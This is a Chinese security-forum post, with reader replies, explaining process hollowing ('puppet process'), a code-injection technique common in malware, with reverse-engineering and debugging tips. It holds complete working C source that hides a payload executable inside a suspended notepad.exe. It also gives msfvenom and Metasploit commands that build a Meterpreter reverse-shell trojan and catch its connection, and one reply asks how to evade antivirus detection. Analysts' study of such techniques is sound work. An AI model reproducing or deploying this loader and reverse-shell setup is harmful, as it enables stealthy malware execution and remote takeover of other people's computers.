首页
社区
课程
招聘
[原创]病毒木马常用手段之偷天换日
发表于: 2022-5-22 00:26 17901

[原创]病毒木马常用手段之偷天换日

2022-5-22 00:26
17901

傀儡进程这种技术其实很早就出现了,傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置。程序先以挂起方式创建某个进程A.exe,然后将另一个进程B.exe映射到A.exe进程的内存空间,并在A.exe进程中运行,如下图
图片描述

1、使用CreatreProcess创建进程时传入CREATE_SUPENDED以挂起方式创建目标进程
2、调用NtUnmapViewOfSection卸载目标的内存数据
3、调用VirtualAllocEx在目标进程申请内存
4、调用WriteProcessMemory向内存写入ShellCode
5、调用GetThreadContext获取目标进程的CONTEXT
6、调用SetThreadContext设置入口点
7、调用ResumeThread恢复进程,执行ShellCode

1、选择目标进程
选择目标进程时,不能对已经运行的进程进行替换,因为无法控制指针,也无法获得主线程句柄
2、卸载内存数据
在卸载目标进程内存时需要使用未导出函数NtUnmapViewOfSection,需要从ntdll.dll中获取,其实NtUnmapViewOfSection还可以用来结束进程
3、申请内存
使用VirtualAllocEx函数申请内存时,可以将目标进程的ImageBaseAddress作为申请内存空间的首地址,这样做的好处是可以不用考虑重定位的问题
4、写入ShellCode
在目标进程中写入ShellCode时,如果ShellCode和目标进程的ImageBaseAddress存在偏移,需要使用.reloc区段进程重定位
5、恢复目标进程的运行环境
完成替换后要调用SetThreadContext修改EAX寄存器(进程的入口点),这也是为什么之前要用GetThreadContext获取目标进程的CONTEXT,最后调用ResumeThread恢复线程运行

接下来我们在使用Kali生成一个反弹端口木马,取名test.exe,然后在Kali上进行监听,等待目标系统上线。然后将test.exe复制到Windows桌面,为创建傀儡进程做准备。

在Kali上会用到如下命令

程序执行后成功创建傀儡进程(notepad.exe)
图片描述
并且成功反弹Shell
图片描述

先找到main函数
图片描述
调用CreateFile、GetFileSize、ReadFile读取test.exe到内存中
图片描述
图片描述
调用CreateProcess并传入CREATE_SUPENDED以挂起方式创建notepad进程
图片描述

当傀儡进程以挂起方式被创建时,处于暂停状态,PE加载器会将PEB结构体的地址设置给EBX寄存器,所以通过GetThreadContext函数获取notepad主线的CONTEXT就可以得到EBX,也就是PEB的地址,得到PEB的地址之后就能使用ReadProcessMemory取得notepad.exe的加载基址

调用GetThreadContext获取notepad(傀儡进程)主线程上下文环境,用来获得进程的PEB
图片描述
调用ReadProcessMemory获取notepad进程基址
图片描述

比较notepad进程的加载基址和test.exe的是否相同,如果相同的话会发生冲突,就需要使用ZwUnmapViewOfSection函数卸载原来notepad进程的映像。如果不相同,可以不卸载
图片描述

我这里由于加载基址不相同,不用卸载notepad进程的映像,但是需要告诉PE加载器新的映像基址(test.exe的基址),而不是notepad原来的基址。调用WriteProcessMemory将notepad进程的PEB.ImageBase的值修改为test.exe的加载基址

图片描述

调用VirtualAllocEx在notepad进程中为test.exe申请指定的内存
图片描述
调用WriteProcessMemory在notepad进程中映射test的文件头
图片描述
使用循环映射PE节表,根据PE节数量调用WriteProcessMemory(),循环完成后test彻底被映射到notepad进程空间
图片描述
为保证映射到notepad中的test能够正常运行,需要调用SetThreadContext设置正确的EIP
图片描述
最后调用ResumeThread恢复线程运行
图片描述

如果想调试此种类型的程序,有很多方法,现在我们可以设置无限循环的方式进行调试,具体方式如下
1.查看程序入口点
图片描述
在010Edit中跳转到162D这个位置,然后修改两个字节为0xEB 0xFE(0xEB 0xFE是无限循环指令,相当于Jump Address = NextEIP()+0xFE(-2)),修改信息如下图
修改前
图片描述
修改后,记得Ctrl+S保存
图片描述

然后就可以附加调试了,如下图
图片描述

附加到调试器后,程序在系统库区域暂停,如下图
图片描述

使用Ctrl+G直接跳转到40162D这个位置
图片描述
然后使用F2在EIP地址处设置断点,然后F9运行,断下来之后使用Ctrl+E将指令恢复原来的代码(0x42,0x42),接着就可以开始调试了
图片描述

其实通过傀儡进程这种方式执行恶意代码在大量的样本中都会遇到,各种病毒木马对此情有独钟,而且常常是多层套娃,通常还会结合一些反调试技术和混淆增加逆向分析的难度,给逆向分析人员带来极大的挑战,虽然技术难度不高,但是多种手段结合使用起来恶心人还是有一套的,所以掌握各种调试方式对我们的帮助是非常有用的。好了,就到这里,如果有些地方需要补充,我会及时更新的。

 
msfconsole    #进入MSF控制台
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe  #生成木马,lhost是我们的主机ip,lport是我们主机的用于监听的端口
 
use exploit/multi/handler  #使用exploit/multi/handler监听从肉鸡发来的数据
set payload windows/meterpreter/reverse_tcp  #设置payload,不同的木马设置不同的payload
set lhost 192.168.10.27   #我们的主机ip
set lport 8888            #我们的主机端口
exploit                   #执行
msfconsole    #进入MSF控制台
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe  #生成木马,lhost是我们的主机ip,lport是我们主机的用于监听的端口
 
use exploit/multi/handler  #使用exploit/multi/handler监听从肉鸡发来的数据
set payload windows/meterpreter/reverse_tcp  #设置payload,不同的木马设置不同的payload
set lhost 192.168.10.27   #我们的主机ip
set lport 8888            #我们的主机端口
exploit                   #执行
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#include "io.h"
 
//傀儡进程
#define Puppet L"C:\\Windows\\System32\\notepad.exe"
 
//ShellCode
#define PayLoad L"C:\\Users\\admin\\Desktop\\test.exe"
 
#define STATUS_SUCCESS                        (0x00000000L)
 
 
typedef NTSTATUS(WINAPI *PFZWUNMAPVIEWOFSECTION)
(
HANDLE      ProcessHandle,
PVOID       BaseAddress
);
 
 
 
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
 
 
//主函数
void _tmain(int argc, TCHAR *argv[])
{
    STARTUPINFO                si = { sizeof(STARTUPINFO), };
    PROCESS_INFORMATION        pi = { 0, };
    LPBYTE                  pRealFileBuf = NULL;
 
 
    // 准备要写入傀儡进程的数据
    if (!(pRealFileBuf = ReadRealFile(PayLoad)))
        return;
 
 
    // 创建傀儡进程
    if (!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        printf("CreateProcess() failed! [%d]\n", GetLastError());
        goto _END;
    }
 
    // 卸载傀儡进程内存空间数据
    if (!UnmapFakeProcImage(&pi, pRealFileBuf))
    {
        printf("UnmapFakeProcImage() failed!!!\n");
        goto _END;
    }
 
    // 在傀儡进程内分配内存并将shellcode写入分配的内存
    if (!MapRealProcImage(&pi, pRealFileBuf))
    {
        printf("MapRealProcImage() failed!!!\n");
        goto _END;
    }
 
    // 恢复傀儡进程的主线程
    if (-1 == ResumeThread(pi.hThread))
    {
        printf("ResumeThread() failed! [%d]\n", GetLastError());
        goto _END;
    }
    //等待返回
    WaitForSingleObject(pi.hProcess, INFINITE);
 
_END:
    if (pRealFileBuf != NULL)
        delete[]pRealFileBuf;
 
    if (pi.hProcess != NULL)
        CloseHandle(pi.hProcess);
 
    if (pi.hThread != NULL)
        CloseHandle(pi.hThread);
}
 
 
 
LPBYTE ReadRealFile(LPCTSTR szPath)
{
    HANDLE                  hFile = INVALID_HANDLE_VALUE;
    LPBYTE                  pBuf = NULL;
    DWORD                   dwFileSize = 0, dwBytesRead = 0;
 
    hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
        return NULL;
 
    dwFileSize = GetFileSize(hFile, NULL);
 
    if (!(pBuf = new BYTE[dwFileSize]))
        return NULL;
 
    //memset(pBuf, 0, dwFileSize);
 
    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
 
    CloseHandle(hFile);
 
    return pBuf;
}
 
 
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf)
{
    DWORD                   dwFakeProcImageBase = 0;
    CONTEXT                 ctx = { 0, };
    PIMAGE_DOS_HEADER       pIDH = NULL;
    PIMAGE_OPTIONAL_HEADER  pIOH = NULL;
    FARPROC                 pFunc = NULL;
 
    // 获取傀儡进程CONTEXT
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(ppi->hThread, &ctx))
    {
        printf("GetThreadContext() failed! [%d]\n", GetLastError());
        return FALSE;
    }
 
    // 获取傀儡进程基址
    if (!ReadProcessMemory(
        ppi->hProcess,
        (LPCVOID)(ctx.Ebx + 8),     // ctx.Ebx = PEB, ctx.Ebx + 8 = PEB.ImageBase
        &dwFakeProcImageBase,
        sizeof(DWORD),
        NULL))
    {
        printf("ReadProcessMemory() failed! [%d]\n", GetLastError());
        return FALSE;
    }
 
    // 获取
    pIDH = (PIMAGE_DOS_HEADER)pRealFileBuf;
    pIOH = (PIMAGE_OPTIONAL_HEADER)(pRealFileBuf + pIDH->e_lfanew + 0x18);
 
    //如果PayLoad进程基址和傀儡进程基址相同,调用ZwUnmapViewOfSection()卸载
    if (pIOH->ImageBase == dwFakeProcImageBase)
    {
        // 调用 ntdll!ZwUnmapViewOfSection()
        pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwUnmapViewOfSection");
        if (STATUS_SUCCESS != ((PFZWUNMAPVIEWOFSECTION)pFunc)(ppi->hProcess, (PVOID)dwFakeProcImageBase))
        {
            printf("ZwUnmapViewOfSection() failed!!! [%d]\n", GetLastError());
            return FALSE;
        }
    }
    else
    {
        // 否则直接修加载基址就可以
        WriteProcessMemory(
            ppi->hProcess,
            (LPVOID)(ctx.Ebx + 8),  // PEB.ImageBase of "fake.exe"
            &pIOH->ImageBase,       // ImageBase of "real.exe"
            sizeof(DWORD),
            NULL);
    }
 
    return TRUE;
}
 
 
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf)
{
    CONTEXT                 ctx = { 0, };
    LPBYTE                  pRealProcImage = NULL;
    PIMAGE_DOS_HEADER       pIDH = (PIMAGE_DOS_HEADER)pRealFileBuf;
    PIMAGE_FILE_HEADER      pIFH = (PIMAGE_FILE_HEADER)(pRealFileBuf + pIDH->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER  pIOH = (PIMAGE_OPTIONAL_HEADER)(pRealFileBuf + pIDH->e_lfanew + 0x18);
    PIMAGE_SECTION_HEADER   pISH = (PIMAGE_SECTION_HEADER)(pRealFileBuf + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
 
    // 在傀儡进程中申请内存
    if (!(pRealProcImage = (LPBYTE)VirtualAllocEx(
        ppi->hProcess,
        (LPVOID)pIOH->ImageBase,
        pIOH->SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE)))
    {
        printf("VirtualAllocEx() failed!!! [%d]\n", GetLastError());
        return FALSE;
    }
 
    // 写入 SizeOfHeaders (DOS头+NT头+节表的大小)
    WriteProcessMemory(
        ppi->hProcess,
        pRealProcImage,
        pRealFileBuf,
        pIOH->SizeOfHeaders,
        NULL);
 
    // 写入各个区块
    for (int i = 0; i < pIFH->NumberOfSections; i++, pISH++)
    {
        if (pISH->SizeOfRawData != 0)
        {
            if (!WriteProcessMemory(
                ppi->hProcess,
                pRealProcImage + pISH->VirtualAddress,
                pRealFileBuf + pISH->PointerToRawData,
                pISH->SizeOfRawData,
                NULL))
            {
                printf("WriteProcessMemory(%.8X) failed!!! [%d]\n",
                    pRealProcImage + pISH->VirtualAddress, GetLastError());
                return FALSE;
            }
        }
    }
 
    // 获取傀儡进程CONTEXT
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(ppi->hThread, &ctx))
    {
        printf("GetThreadContext() failed! [%d]\n", GetLastError());
        return FALSE;
    }
    //修改傀儡进程入口点虚拟地址
    ctx.Eax = pIOH->AddressOfEntryPoint + pIOH->ImageBase;  // VA of EP
 
    if (!SetThreadContext(ppi->hThread, &ctx))
    {
        printf("SetThreadContext() failed! [%d]\n", GetLastError());
        return FALSE;
    }
 
    return TRUE;
}
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#include "io.h"
 
//傀儡进程
#define Puppet L"C:\\Windows\\System32\\notepad.exe"
 
//ShellCode
#define PayLoad L"C:\\Users\\admin\\Desktop\\test.exe"
 
#define STATUS_SUCCESS                        (0x00000000L)
 
 
typedef NTSTATUS(WINAPI *PFZWUNMAPVIEWOFSECTION)
(
HANDLE      ProcessHandle,
PVOID       BaseAddress
);
 
 
 
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
 
 
//主函数
void _tmain(int argc, TCHAR *argv[])
{
    STARTUPINFO                si = { sizeof(STARTUPINFO), };
    PROCESS_INFORMATION        pi = { 0, };
    LPBYTE                  pRealFileBuf = NULL;
 
 
    // 准备要写入傀儡进程的数据
    if (!(pRealFileBuf = ReadRealFile(PayLoad)))
        return;
 
 
    // 创建傀儡进程
    if (!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        printf("CreateProcess() failed! [%d]\n", GetLastError());
        goto _END;
    }
 
    // 卸载傀儡进程内存空间数据
    if (!UnmapFakeProcImage(&pi, pRealFileBuf))
    {
        printf("UnmapFakeProcImage() failed!!!\n");
        goto _END;
    }
 
    // 在傀儡进程内分配内存并将shellcode写入分配的内存
    if (!MapRealProcImage(&pi, pRealFileBuf))
    {
        printf("MapRealProcImage() failed!!!\n");
        goto _END;
    }
 
    // 恢复傀儡进程的主线程
    if (-1 == ResumeThread(pi.hThread))
    {
        printf("ResumeThread() failed! [%d]\n", GetLastError());
        goto _END;
    }
    //等待返回
    WaitForSingleObject(pi.hProcess, INFINITE);
 
_END:
    if (pRealFileBuf != NULL)
        delete[]pRealFileBuf;
 
    if (pi.hProcess != NULL)
        CloseHandle(pi.hProcess);
 
    if (pi.hThread != NULL)
        CloseHandle(pi.hThread);
}
 
 
 
LPBYTE ReadRealFile(LPCTSTR szPath)
{
    HANDLE                  hFile = INVALID_HANDLE_VALUE;
    LPBYTE                  pBuf = NULL;
    DWORD                   dwFileSize = 0, dwBytesRead = 0;
 
    hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
        return NULL;
 
    dwFileSize = GetFileSize(hFile, NULL);
 
    if (!(pBuf = new BYTE[dwFileSize]))
        return NULL;
 
    //memset(pBuf, 0, dwFileSize);
 
    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
 
    CloseHandle(hFile);
 
    return pBuf;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-5-23 14:21 被寒江独钓_编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (12)
雪    币: 676
活跃值: (322)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
非常感谢,你的文章让我收获颇丰,尤其是之前的Conti勒索软件分析
2022-5-22 09:34
0
雪    币: 1869
活跃值: (4151)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark
2022-5-22 12:31
0
雪    币: 192
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
这个和当时滴水看到的傀儡进程比较相似,不过这些api一调用火绒就会拦截报毒,有什么其他方法绕过吗
2022-5-26 06:20
0
雪    币: 7465
活跃值: (4196)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
这种技术确实有够老了
2022-5-26 09:04
0
雪    币: 300
活跃值: (2532)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
mark
2022-5-26 09:06
0
雪    币: 60
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
谁知道傀儡进程这个方式跟进程镂空有哪些不同?
2022-8-13 03:16
0
雪    币: 328
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
mb_lazqkwkb 谁知道傀儡进程这个方式跟进程镂空有哪些不同?
傀儡进程国内很早以前的叫法,Process Hollowing是国外的叫法,进程镂空是Process Hollowing的翻译。建议不要看或者尝试理解翻译的东西,坑太多。(个人理解)
2022-8-13 06:10
0
雪    币: 10088
活跃值: (4491)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
感谢分享,学习了解一下
2022-8-13 12:01
0
雪    币: 227
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
感谢分享,学习了
2022-8-19 21:05
0
雪    币: 657
活跃值: (5514)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
请问傀儡进程加载32位程序的话 有时候正常  有时候会c05 分析了一下是VirtualAllocEx的问题  有没有什么好的决绝办法。
2023-7-18 03:05
0
雪    币: 267
活跃值: (438)
能力值: ( LV9,RANK:190 )
在线值:
发帖
回帖
粉丝
12


test.exe编译的时候加入重定位信息不就省很多事了嘛!

最后于 2023-7-18 05:51 被linziqingl编辑 ,原因:
2023-7-18 05:50
0
雪    币: 3573
活跃值: (31026)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
感谢分享
2023-7-18 10:26
1
游客
登录 | 注册 方可回帖
返回
//